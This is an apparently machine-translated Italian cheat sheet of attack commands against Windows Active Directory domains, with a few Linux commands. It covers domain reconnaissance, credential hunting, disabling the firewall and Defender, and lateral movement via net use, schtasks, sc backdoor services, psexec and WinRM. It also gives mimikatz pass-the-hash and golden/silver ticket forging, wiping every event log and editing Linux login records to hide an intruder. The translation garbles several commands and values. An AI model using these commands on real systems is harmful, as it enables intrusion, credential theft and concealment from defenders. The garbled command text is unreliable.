tempo netto/dominio net gruppo "amministratori di dominio" /domain net gruppo "controller di dominio" /domain amministratore utente di rete/dominio nltest /domain_trusts Ottieni la relazione di trust del dominio nltest /dclist: quota netta netview \\ipdominio net view /domain Visualizza l'elenco dei domini/gruppi di lavoro net view /domain:secwing Visualizza l'elenco dei computer nel dominio secwing net config La workstation interroga il dominio a cui appartiene la macchina netstat -ano |trovastr account netti Visualizza la politica della password locale

nbtstat -Una query ip netbiso whoami /all qwinsta //Visualizza lo stato di accesso interroga utente //Visualizza l'ora dell'ultimo accesso dell'amministratore nltest /domain_trusts //Ottieni informazioni sull'attendibilità del dominio taskkill /f /im tasklist /svc Visualizza i processi tasklist /S ip /U dominio omeutente /P /V //Visualizza l'elenco dei processi del computer remoto tracert IP //Tracciamento del percorso route print //Stampa la tabella di routing arp -a // Elenca tutti gli indirizzi IP attivi in ​​questo segmento di rete arp -s (ip MAC) //Associa mac e indirizzo IP arp -d (ip MAC) //Svincola mac e indirizzo IP reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /ve Ottieni record di accesso mstsc recenti setspn -Q \*/\* Elenco SPN

findstr /si password *.txt findstr /si password *.xml findstr /si password *.ini

dir /b /s unattend.xml dir /b /s web.config dir /b /s sysprep.inf

netsh firewall imposta opmode mode=disabilita netsh advfirewall ha disattivato lo stato di tutti i profili

net stop windefend

reimpostazione del firewall netsh

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

Stabilire la connessione di utilizzo della rete net use \\192.168.1.100\c$ 1qaz@WSX /utente dominio\utente Copia il file bat sul computer remoto copia exec.bat \\192.168.1.100\c$\windows\debug\exec.bat Visualizza l'ora del computer remoto tempo netto \\192.168.1.100 Crea una nuova attività pianificata remota in \\192.168.1.100 21.52 c:\windows\temp\exec.bat Visualizza l'elenco delle attività pianificate in remoto a \\192.168.1.100

Crea compiti schtasks /create /s ip /u amministratore /password /ru "sistema" /tn adduser(nome) /sc DAILY(ora) /tr c:\windows\debug\add.bat /f Esegui attività schtasks /run /s ip /u amministratore /p password /tn adduser /i schtasks /run /tn update /$ 10.10.10.137 /u test \administrator /p 1qaz@WSX Elimina attività schtasks /delete /s ip /u amministratore /p password /tn adduser /f

Stabilire la connessione ipc ed eseguire SC uso rete \\192.168.17.138\c$ "admin123" /utente:pt007 utilizzo netto dir \\192.168.17.138\c$ copiare test.exe \\192.168.17.138\c$ Crea servizio sc \\remote_ip create services_name binpath= c:\backdoor.exe sc \\10.10.10.10 crea aggiornamento binpath= c:\programdata\a.bat Avvia il servizio sc \\remote_ip avvia nome_servizi sc \\10.10.10.10 avvia l'aggiornamento Fuori servizio sc \\remote_ip stop nome_servizio sc \\10.10.10.10 interrompi aggiornamento Elimina servizio sc \\ip_remoto elimina nome_servizio sc \\10.10.10.10 elimina aggiornamento

netsh firewall show config //Visualizza la politica del firewall netsh firewall mostra stato //Visualizza la politica del firewall Abilita il port forwarding netsh interfaccia portproxy aggiungi v4tov4 listenaddress=indirizzolocale listenport=portalocale connectaddress=indirizzodesta connectport=portadest aprire il firewall netsh advfirewall firewall aggiungi regola nome="nomefirewall" protocollo=TCP dir=in localip=ip localport=porta azione=consenti Mostra tutte le regole di inoltro proxy porta interfaccia netsh mostra tutto Elimina in avanti interfaccia netsh portproxy elimina v4tov4 listenport=port listenaddress=ip Ripristina Reimpostazione del proxy della porta dell'interfaccia netsh

1.ssh inoltra il port forwarding ssh -L [<host locale>:] <porta locale>:<host remoto>:<porta remota><nome host ssh> 2.ssh inversione porta forwarding ssh -R [<host locale>:]<porta locale>:<host remoto>:<porta remota><nome host ssh> Proxy calzini 3.ssh ssh -D [<host locale>:] <porta locale><nome host ssh>

Condizioni e requisiti per le note d'oro: 1.Nome di dominio 2. Valore SID del dominio whoami /utente 3. Hash della password NTLM dell'account Krbtgt del dominio 4. Nome utente contraffatto sekurlsa::pth /utente:amministratore /domain:"GOD.org" /ntlm:61465a991b168727b65b3644aab823cd Valore di crittografia ntlm dell'indirizzo del dominio utente di accesso Qui verrà visualizzata una finestra CMD. Controlliamo prima se disponiamo dell'autorizzazione utilizzando dir \\OWA.GOD.org\c$ [Visualizza unità C di controllo dominio]. dir \\\\DC.zkaq.cn\c$ lsadump::dcsync /user:krbtgt /domain: Ottieni la password di krbtgt [mimikatz simulerà il controllo del dominio e richiederà le informazioni sull'account e la password dal controllo del dominio di destinazione] Estrai il sid e l'hashNTLM all'interno KERBEROS :: GOLDEN /Admin: amministratore /Domain:god.org /sign: S-1-5-21-2952760202-13539024381784089 /KRBTGT: 58E91A58D86513AB2224312314000 61 /ticket:Administrator.kiribi [Fatture di produzione] kerberos::ptt amministratore.kiribi [carica ticket] Iniezione diretta di note dorate kerveros::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:domainsid /krbtgt:hash /ptt kerberos::purge cancella i ticket privilegio::debug Attendi che l'amministratore effettui l'accesso per ottenere la password mimikatz #privilege::debug Privilegio '20' OK mimikatz # misc::memssp Iniettato =) mimikatz #esci

Visualizza il sid dell'utente corrente whoami/utente Ottieni l'hash del computer di destinazione sekurlsa::logonpassword 1472 vulnerabilità Genera note d'argento kerberos::golden /sid:domainsid /domain:test.local /ptt /id: ID utente falso /target:mdc.test.local /service:cifs /rc: hash del computer di destinazione /utente: nome utente falso

dsquery.exe user -limit 0#Richiede informazioni sull'oggetto utente dsquery.exe group -limit 0 #Query informazioni sull'oggetto del gruppo dsquery.exe ou -limit 0#Richiede informazioni sull'oggetto dell'unità organizzativa dsquery user domainroot -limit 65535 && net user /domain //Elenca tutti i nomi utente nel dominio dsquery server -domain supre.com |. dsget server -dnsname -site //Cerca tutti i controller di dominio nel dominio e visualizza i nomi host DNS e i nomi dei siti dsquery contact //Trova i contatti nella directory dsquery subnet //Elenca le divisioni dei segmenti di rete in questo dominio dsquery group && net group /domain //Elenca i gruppi in questo dominio dsquery ou //Elenca le unità organizzative in questo dominio dsquery server && net time /domain //Elenca i controller di dominio in questo dominio dsquery site -o rdn //Cerca tutti i nomi di siti nel dominio dsquery group dc=GOD,dc=org |more Cerca tutti i gruppi nel dominio dc=god, dc=org dsquery.exe computer #Trova il computer nella destinazione sito dsquery.exe #Trova le unità organizzative nella directory dsquery.exe server #Trova l'istanza di AD DC/LDS nella directory

AdFind -sc dclist #Elenca i nomi dei controller di dominio AdFind -sc computers_active #Interroga i computer online nel dominio corrente AdFind -sc computer_nome attivo operatingSystem #Interroga i computer online nel dominio corrente (solo nome visualizzato e sistema operativo) AdFind.exe -sc computers_active name dnshostname #Interroga gli host attivi nel dominio e restituisce il nome host e il nome di dominio AdFind -f "objectcategory=computer" #Interroga tutti i computer nel dominio corrente AdFind -f "objectcategory=computer" name operatingSystem #Interroga tutti i computer nel dominio corrente (vengono visualizzati solo il nome e il sistema operativo) AdFind -users name #Interroga tutti gli utenti del dominio AdFind -sc gpodmp #Interroga tutti gli oggetti Criteri di gruppo AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* #Richiede informazioni dettagliate su tutti gli utenti del dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test #Query dettagli utente specifici nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test mail #Richiede informazioni specifiche dell'utente (posta) nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -dn #Interroga le informazioni DNS di tutti gli utenti nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -c #Interroga il numero di utenti nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:* #Ricerca le informazioni dettagliate di tutti i gruppi nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:*Admin #Query le informazioni dettagliate di tutti i gruppi nel dominio il cui nome di gruppo contiene Admin AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc o:* #Query tutti i dettagli dell'unità organizzativa nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc c:* #Interroga le informazioni dettagliate di tutti i computer nel dominio AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc s:* #Richiede informazioni dettagliate su tutti i siti del dominio

psexec.exe -accepteula \\10.10.10.137 -u test\amministratore -p 1qaz@WSX -i cmd.exe psexec.exe -accepteula -i -s -d cmd paexec.exe \\ip -u dominio\utente -p pwd cmd.exe -noname net use \\ip pwd /u:dominio\utente paexec.exe \\ip cmd.exe netsh winhttp sh proxy visualizza proxy

winrm configurazione rapida -q winrm s winrm/config/Client @{TrustedHosts="*"} Aggiunto monitoraggio della porta 80 winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} Modifica da 5985 a 80 winrm set winrm/config/Listener?Address=* Transprot=HTTP @{port=80} Modifica la porta WinRM in porta Web winrs -r:http://xx -u:DC20\administratror -p:1qaz@WSX cmd

carico Modulo Imoport .\PowerView.ps1 #Esegui la query Get-DomainGroup #Query dettagli del gruppo Get-DomainOU #Richiede informazioni dettagliate sull'unità organizzativa Get-DomainUser #Interroga i dettagli dell'utente

nome utente psloggedon.exe -l visualizza solo gli utenti che hanno effettuato l'accesso locale e non mostra gli altri utenti che hanno effettuato l'accesso alla rete -x non visualizza l'ora di accesso Indica che l'utente attualmente connesso al computer remoto può digitare: psloggedon \\ip della macchina remota Aggiungi -accepteula per la prima volta per non visualizzare le informazioni sul copyright.

netsess.exe \\PRIMARY

PVEFindADUser.exe -current

wevtutil epl Security C:\log.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] e System[(EventID=4624) e TimeCreated[timediff(@SystemTime) <= 259200000 ]]]" /r:IP del computer remoto /u:nome utente/p:password Registro di esportazione #epl #Security significa registro di sicurezza #C:\log.evtx rappresenta la posizione del registro esportato. Se esportato in remoto, verrà esportato nel computer remoto. #/q: rappresenta l'istruzione della query di registro #System[(EventID=4624) rappresenta l'ID temporale 4624, che è il registro dell'accesso utente riuscito #EventData[Data[@Name='LogonType']='3'] significa che il tipo di accesso è l'accesso alla rete #TimeCreated[timediff(@System Time) <= 259200000] significa che verranno esportati solo i registri dell'ultimo mese. L'unità di 259200000 è millisecondi. È possibile modificare la dimensione del numero in base alle esigenze effettive. #Se esporti localmente, non è necessario specificare l'opzione /r. Per un maggiore utilizzo di #wevtutil, consultare la documentazione della guida, che può essere utilizzata per eliminare i registri di Windows.

LogParser.exe -i:EVT -o csv "SELECT distinti TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\*. evtx" > C:\log.csv # -i:EVT significa che il formato di input del log è evtx # -o csv significa che il formato di output è csv # Il contenuto tra virgolette doppie è l'istruzione della query # distinto significa deduplicare i risultati # TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME Analizza il nome del registro dal registro di accesso # USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) Analizza l'origine di accesso dal registro di accesso # *.evtx può elaborare più file di registro contemporaneamente # È possibile visualizzare i dettagli del registro di accesso tramite il seguente comando LogParser.exe -i:EVT -o:DATAGRID "seleziona * da *.evtx"

wevtutil el elenca i nomi di tutti i log nel sistema Il sistema wevtutil cl cancella i registri di sistema L'applicazione wevtutil cl pulisce i registri dell'applicazione wevtutil cl security cancella i registri di sicurezza for /f "delims=" %j in('wevtutil.exe el') do @wevtutil.exe cl "%j" c:\windows\system32\winevt\logs\

"C:\PROGRA~1\WINDOW~1\mpcmdrun.exe" -Ripristina -ListAll powershell -Command Add-MpPreference -ExclusionPath "C:\tmp" powershell -Command Add-MpPreference -ExclusionExtension".java" powershell -Command Add-MpPreference -ExclusionProcess "*.exe" powershell -Command Get-MpPreference

/var/log/btmp registra tutte le informazioni sugli errori di accesso, utilizza il comando lastb per visualizzarle /var/log/lastlog registra il registro dell'ora dell'ultimo accesso di tutti gli utenti nel sistema. Utilizzare il comando lastlog per visualizzarlo. /var/log/wtmp registra le informazioni di accesso e disconnessione di tutti gli utenti, utilizza l'ultimo comando per visualizzarle /var/log/utmp registra le informazioni dell'utente attualmente connesso, utilizza w, who, users e altri comandi per visualizzarli /var/log/secure registra le informazioni di registro relative alla sicurezza /var/log/message registra informazioni e log degli errori dopo l'avvio del sistema L'ultimo record di accesso visualizzato quando si accede a ssh ora dell'ultimo accesso dall'ip Registrato nel file /var/log/lastlog ~/.ssh/known_hosts Puoi usare sed per sostituire sed -i '/proprio ip/ip originale' /var/log/lastlog sed -i '/Data di oggi/'d nome file Accedi al sistema in modo invisibile e non sarai rilevato da comandi come w, who, last ecc. ssh -T root@192.168.01 /bin/bash -i